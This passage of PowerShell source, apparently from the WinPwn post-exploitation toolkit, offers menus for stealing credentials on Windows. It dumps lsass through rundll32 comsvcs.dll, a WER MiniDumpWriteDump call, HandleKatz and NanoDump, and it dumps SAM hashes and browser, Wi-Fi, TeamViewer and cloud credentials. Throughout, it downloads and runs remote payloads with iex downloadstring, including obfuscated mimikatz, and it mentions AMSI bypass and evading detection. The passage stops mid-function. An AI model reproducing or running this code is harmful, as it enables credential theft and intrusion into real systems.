if(!$consoleoutput){Invoke-Sharpweb -command "all" >> $currentPath\Exploitation\Browsercredentials.txt}else{Invoke-Sharpweb -command "all"}
}
if($mimikittenz)
{
if(!$consoleoutput){kittenz -noninteractive}else{kittenz -noninteractive -consoleoutput}
}
if($wificredentials)
{
if(isadmin){if(!$consoleoutput){wificreds}else{wificreds -noninteractive -consoleoutput}}
}
if ($samdump)
{
if(isadmin){if(!$consoleoutput){samfile}else{samfile -noninteractive -consoleoutput}}
}
if ($sharpcloud)
{
if(!$consoleoutput){SharpCloud}else{SharpCloud -noninteractive -consoleoutput}
}
if ($teamviewer)
{
if(!$consoleoutput){decryptteamviewer}else{decryptteamviewer -consoleoutput -noninteractive}
}
return
}
do
{
@'
__ ___ ____
\ \ / (_)_ __ | _ \__ ___ __
\ \ /\ / /| | '_ \| |_) \ \ /\ / | '_ \
\ V V / | | | | | __/ \ V V /| | | |
\_/\_/ |_|_| |_|_| \_/\_/ |_| |_|
--> Get some credentials
'@
Write-Host "================ WinPwn ================"
Write-Host -ForegroundColor Green '1. Just run Invoke-WCMDump (no Admin need)! '
Write-Host -ForegroundColor Green '2. Run an obfuscated version of the powerhell kittie! '
Write-Host -ForegroundColor Green '3. Run Safetykatz in memory (Admin session only)! '
Write-Host -ForegroundColor Green '4. Only dump lsass using rundll32 technique! (Admin session only) '
Write-Host -ForegroundColor Green '5. Download and run an obfuscated lazagne executable! '
Write-Host -ForegroundColor Green '6. Dump Browser credentials using Sharpweb! (no Admin need)'
Write-Host -ForegroundColor Green '7. Run mimi-kittenz for extracting juicy info from memory! (no Admin need)'
Write-Host -ForegroundColor Green '8. Get some Wifi Credentials! (Admin session only)'
Write-Host -ForegroundColor Green '9. Dump SAM-File for NTLM Hashes! (Admin session only)'
Write-Host -ForegroundColor Green '10. Check for the existence of credential files related to AWS, Microsoft Azure, and Google Compute!'
Write-Host -ForegroundColor Green '11. Decrypt Teamviewer Passwords (Only Version <= 8!'
Write-Host -ForegroundColor Green '12. Dump and decrypt local SCCM NAA Credentials!'
Write-Host -ForegroundColor Green '13. Go back '
Write-Host "================ WinPwn ================"
$masterquestion = Read-Host -Prompt 'Please choose wisely, master:'
Switch ($masterquestion)
{
1{iex (new-object net.webclient).downloadstring($S3cur3Th1sSh1t_repo + '/Creds/master/obfuscatedps/DumpWCM.ps1');Write-Host "Dumping now, output goes to .\Exploitation\WCMCredentials.txt"; Invoke-WCMDump >> $currentPath\Exploitation\WCMCredentials.txt}
2{if (isadmin){obfuskittiedump}}
3{if(isadmin){safedump}}
4{if(isadmin){dumplsass}}
5{lazagnemodule}
6{Write-Host -ForegroundColor Yellow 'Getting all theese Browser Creds using Sharpweb. Output goes to .\Exploitation\';iex (new-object net.webclient).downloadstring($S3cur3Th1sSh1t_repo + '/PowerSharpPack/master/PowerSharpBinaries/Invoke-Sharpweb.ps1'); Invoke-Sharpweb -command "all" >> $currentPath\Exploitation\Browsercredentials.txt}
7{kittenz}
8{if(isadmin){wificreds}}
9{if(isadmin){samfile}}
10{SharpCloud}
11{decryptteamviewer}
12{SCCMDumpNAA}
}
}
While ($masterquestion -ne 13)
}
function lsassdumps
{
do
{
@'
__ ___ ____
\ \ / (_)_ __ | _ \__ ___ __
\ \ /\ / /| | '_ \| |_) \ \ /\ / | '_ \
\ V V / | | | | | __/ \ V V /| | | |
\_/\_/ |_|_| |_|_| \_/\_/ |_| |_|
--> Dump lsass for sweet creds
'@
Write-Host "================ WinPwn ================"
Write-Host -ForegroundColor Green '1. Use HandleKatz! '
Write-Host -ForegroundColor Green '2. Use WerDump! '
Write-Host -ForegroundColor Green '3. Dump lsass using rundll32 technique!'
Write-Host -ForegroundColor Green '4. Dump lsass using NanoDump!'
Write-Host -ForegroundColor Green '5. Go back '
Write-Host "================ WinPwn ================"
$masterquestion = Read-Host -Prompt 'Please choose wisely, master:'
Switch ($masterquestion)
{
1{if(isadmin){HandleKatz}else{Write-Host -ForegroundColor Red "You need to use an elevated process (lokal Admin)"}}
2{if(isadmin){werDump}else{Write-Host -ForegroundColor Red "You need to use an elevated process (lokal Admin)"}}
3{if(isadmin){Dumplsass}else{Write-Host -ForegroundColor Red "You need to use an elevated process (lokal Admin)"}}
4{if(isadmin){NanoDumpChoose}else{Write-Host -ForegroundColor Red "You need to use an elevated process (lokal Admin)"}}
}
}
While ($masterquestion -ne 5)
}
function NanoDumpChoose
{
do
{
@'
__ ___ ____
\ \ / (_)_ __ | _ \__ ___ __
\ \ /\ / /| | '_ \| |_) \ \ /\ / | '_ \
\ V V / | | | | | __/ \ V V /| | | |
\_/\_/ |_|_| |_|_| \_/\_/ |_| |_|
--> NanoDump Submenu
'@
Write-Host "================ WinPwn ================"
Write-Host -ForegroundColor Green '1. Dump LSASS with a valid signature! '
Write-Host -ForegroundColor Green '2. Dump LSASS with an invalid signature, has to be restored afterwards (see NanoDump README)! '
Write-Host -ForegroundColor Green '3. Go back '
Write-Host "================ WinPwn ================"
$masterquestion = Read-Host -Prompt 'Please choose wisely, master:'
Switch ($masterquestion)
{
1{if(isadmin){NanoDump -valid}}
2{if(isadmin){NanoDump}}
}
}
While ($masterquestion -ne 3)
}
function NanoDump
{
<#
.DESCRIPTION
Execute NanoDump Shellcode to dump lsass.
Main Credits to https://github.com/helpsystems/nanodump
Author: Fabian Mosch, Twitter: @ShitSecure
#>
Param
(
[switch]
$valid
)
iex(new-object net.webclient).downloadstring($S3cur3Th1sSh1t_repo + '/PowerSharpPack/master/PowerSharpBinaries/Invoke-NanoDump.ps1')
if ($valid)
{
Invoke-NanoDump -valid
}
else
{
Invoke-NanoDump
}
}
function werDump
{
<#
.DESCRIPTION
Dump lsass via wer, credit goes to https://twitter.com/JohnLaTwC/status/1411345380407578624
Author: @S3cur3Th1sSh1t
#>
Write-Host "Dumping to C:\windows\temp\dump.txt"
$WER = [PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting');$WERNativeMethods = $WER.GetNestedType('NativeMethods', 'NonPublic');$Flags = [Reflection.BindingFlags] 'NonPublic, Static';$MiniDumpWriteDump = $WERNativeMethods.GetMethod('MiniDumpWriteDump', $Flags);$ProcessDumpPath = 'C:\windows\temp\dump.txt';$FileStream = New-Object IO.FileStream($ProcessDumpPath, [IO.FileMode]::Create);$p=Get-Process lsass;$Result = $MiniDumpWriteDump.Invoke($null, @($p.Handle,$p.Id,$FileStream.SafeFileHandle,[UInt32] 2,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero));$FileStream.Close()
if (test-Path "C:\windows\temp\dump.txt")
{
Write-Host "Lsass dump success: " $Result
}
}
function HandleKatz
{
<#
.DESCRIPTION
Dump lsass, credit goes to https://github.com/codewhitesec/HandleKatz, @thefLinkk
Author: @S3cur3Th1sSh1t
#>
param(
[switch]
$noninteractive,
[Switch]
$consoleoutput
)
if(!$consoleoutput){pathcheck}
$currentPath = (Get-Item -Path ".\" -Verbose).FullName
if (isadmin)
{
$processes = Get-Process
$dumpid = foreach ($process in $processes){if ($process.ProcessName -eq "lsass"){$process.id}}
iex(new-object net.webclient).downloadstring($S3cur3Th1sSh1t_repo + '/Creds/master/PowershellScripts/Invoke-Handlekatz.ps1')
Write-Host "Trying to dump the ID: $dumpid"
Sleep 2
Invoke-HandleKatz -handProcID $dumpid
Write-Host "The dump via HandleKatz is obfuscated to avoid lsass dump detections on disk. To decode it you can/should use the following: https://github.com/codewhitesec/HandleKatz/blob/main/Decoder.py"
}
else{Write-Host "No Admin rights, start again using a privileged session!"}
}
function Decryptteamviewer
{
param(
[switch]
$noninteractive,
[Switch]
$consoleoutput
)
$currentPath = (Get-Item -Path ".\" -Verbose).FullName
if(!$consoleoutput){pathcheck}
# Wrote this Script myself, credit goes to @whynotsecurity - https://whynotsecurity.com/blog/teamviewer/
iex (new-object net.webclient).downloadstring($S3cur3Th1sSh1t_repo + '/TeamViewerDecrypt/master/TeamViewerDecrypt.ps1')
if(!$consoleoutput){
TeamviewerDecrypt >> $currentPath\Exploitation\TeamViewerPasswords.txt
Get-Content $currentPath\Exploitation\TeamViewerPasswords.txt
Start-Sleep 5
}
else{
TeamviewerDecrypt
}
}
function SharpCloud
{
param(
[switch]
$noninteractive,
[Switch]
$consoleoutput
)
$currentPath = (Get-Item -Path ".\" -Verbose).FullName
if(!$consoleoutput){pathcheck}
iex (new-object net.webclient).downloadstring($S3cur3Th1sSh1t_repo + '/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpCloud.ps1')
if(!$consoleoutput){
Invoke-SharpCloud -Command all >> $currentPath\Exploitation\CloudCreds.txt
Get-Content $currentPath\Exploitation\CloudCreds.txt
Start-Sleep 5
}
else{Invoke-SharpCloud -Command all}
}
function Safedump
{
param(
[switch]
$noninteractive,
[Switch]
$consoleoutput
)
$currentPath = (Get-Item -Path ".\" -Verbose).FullName
if(!$consoleoutput){pathcheck}
blocketw
iex (new-object net.webclient).downloadstring($S3cur3Th1sSh1t_repo + '/Invoke-Sharpcradle/master/Invoke-Sharpcradle.ps1')
if ($S3cur3Th1sSh1t_repo -eq "https://raw.githubusercontent.com/S3cur3Th1sSh1t")
{
Invoke-Sharpcradle -uri https://github.com/S3cur3Th1sSh1t/Creds/blob/master/Ghostpack/SafetyKatz.exe?raw=true
}
else
{
Invoke-Sharpcradle -uri $S3cur3Th1sSh1t_repo/Creds/master/Ghostpack/SafetyKatz.exe
}
}
function Obfuskittiedump
{
param(
[switch]
$noninteractive,
[Switch]
$consoleoutput
)
$currentPath = (Get-Item -Path ".\" -Verbose).FullName
if(!$consoleoutput){pathcheck}
IEX (New-Object Net.WebClient).DownloadString($S3cur3Th1sSh1t_repo + '/Creds/master/obfuscatedps/mimi.ps1')
Write-Host -ForegroundColor Yellow "Dumping Credentials output goes to .\Exploitation\Credentials.txt"
if(!$consoleoutput){
Invoke-TheKatz >> $currentPath\Exploitation\Credentials.txt
Get-Content $currentPath\Exploitation\Credentials.txt
Start-Sleep -Seconds 5
}else{Invoke-TheKatz}
}
function Wificreds
{
param(
[switch]
$noninteractive,
[Switch]
$consoleoutput
)
$currentPath = (Get-Item -Path ".\" -Verbose).FullName
if(!$consoleoutput){pathcheck}
IEX (New-Object Net.WebClient).DownloadString($S3cur3Th1sSh1t_repo + '/Creds/master/PowershellScripts/Get-WLAN-Keys.ps1')
Write-Host "Saving to .\Exploitation\WIFI_Keys.txt"
if(!$consoleoutput){
Get-WLAN-Keys >> $currentPath\Exploitation\WIFI_Keys.txt
Get-Content $currentPath\Exploitation\WIFI_Keys.txt
Start-Sleep -Seconds 5
}else{Get-WLAN-Keys}
}
function Kittenz
{
param(
[switch]
$noninteractive,
[Switch]
$consoleoutput
)
$currentPath = (Get-Item -Path ".\" -Verbose).FullName
if(!$consoleoutput){pathcheck}
IEX (New-Object Net.WebClient).DownloadString($S3cur3Th1sSh1t_repo + '/Creds/master/obfuscatedps/obfuskittie.ps1')
Write-Host -ForegroundColor Yellow 'Running the small kittie, output to .\Exploitation\kittenz.txt'
if(!$consoleoutput){
inbox | out-string -Width 5000 >> $currentPath\Exploitation\kittenz.txt
Get-Content $currentPath\Exploitation\kittenz.txt
Start-Sleep -Seconds 5
}else{inbox | out-string -Width 5000}
}
function Samfile
{
param(
[switch]
$noninteractive,
[Switch]
$consoleoutput
)
$currentPath = (Get-Item -Path ".\" -Verbose).FullName
if(!$consoleoutput){pathcheck}
iex (new-object net.webclient).downloadstring($S3cur3Th1sSh1t_repo + '/Creds/master/PowershellScripts/Invoke-PowerDump.ps1')
Write-Host "Dumping SAM, output to .\Exploitation\SAMDump.txt"
if(!$consoleoutput){
Invoke-PowerDump >> $currentPath\Exploitation\SAMDump.txt
Get-Content $currentPath\Exploitation\SAMDump.txt
Start-Sleep -Seconds 5
}else{Invoke-PowerDump}
}
function Dumplsass
{
<#
.DESCRIPTION
Dump lsass, credit goes to https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/
Author: @S3cur3Th1sSh1t
License: BSD 3-Clause
#>
param(
[switch]
$noninteractive,
[Switch]
$consoleoutput
)
if(!$consoleoutput){pathcheck}
$currentPath = (Get-Item -Path ".\" -Verbose).FullName
if (isadmin)
{
try{
$processes = Get-Process
$dumpid = foreach ($process in $processes){if ($process.ProcessName -eq "lsass"){$process.id}}
Write-Host "Found lsass process with ID $dumpid - starting dump with rundll32"
if(!$consoleoutput){
Write-Host "Dumpfile goes to .\Exploitation\$env:computername.log "
rundll32 C:\Windows\System32\comsvcs.dll, MiniDump $dumpid $currentPath\Exploitation\$env:computername.log full
}
else{
Write-Host "Dumpfile goes to C:\windows\temp\$env:computername.log "
rundll32 C:\Windows\System32\comsvcs.dll, MiniDump $dumpid C:\windows\temp\$env:computername.log full
}
}
catch{
Write-Host "Something went wrong, using safetykatz instead"
iex (new-object net.webclient).downloadstring($S3cur3Th1sSh1t_repo + '/Creds/master/PowershellScripts/SafetyDump.ps1')
if(!$consoleoutput){
Write-Host -ForegroundColor Yellow 'Dumping lsass to .\Exploitation\debug.bin :'
Safetydump
move C:\windows\temp\debug.bin $currentPath\Exploitation\debug.bin
}
else
{
Write-Host -ForegroundColor Yellow 'Dumping lsass to C:\windows\temp\debug.bin :'
Safetydump
}
}
}
else{Write-Host "No Admin rights, start again using a privileged session!"}
}
function Kernelexploits
{
<#
.DESCRIPTION
Get a SYSTEM Shell using Kernel exploits. Most binaries are the original poc exploits loaded via Invoke-Refl3ctiv3Pe!njection + obfuscated afterwards for @msi bypass
Author: @S3cur3Th1sSh1t
License: BSD 3-Clause
#>
#Exploitation
pathcheck
$currentPath = (Get-Item -Path ".\" -Verbose).FullName
@'
__ ___ ____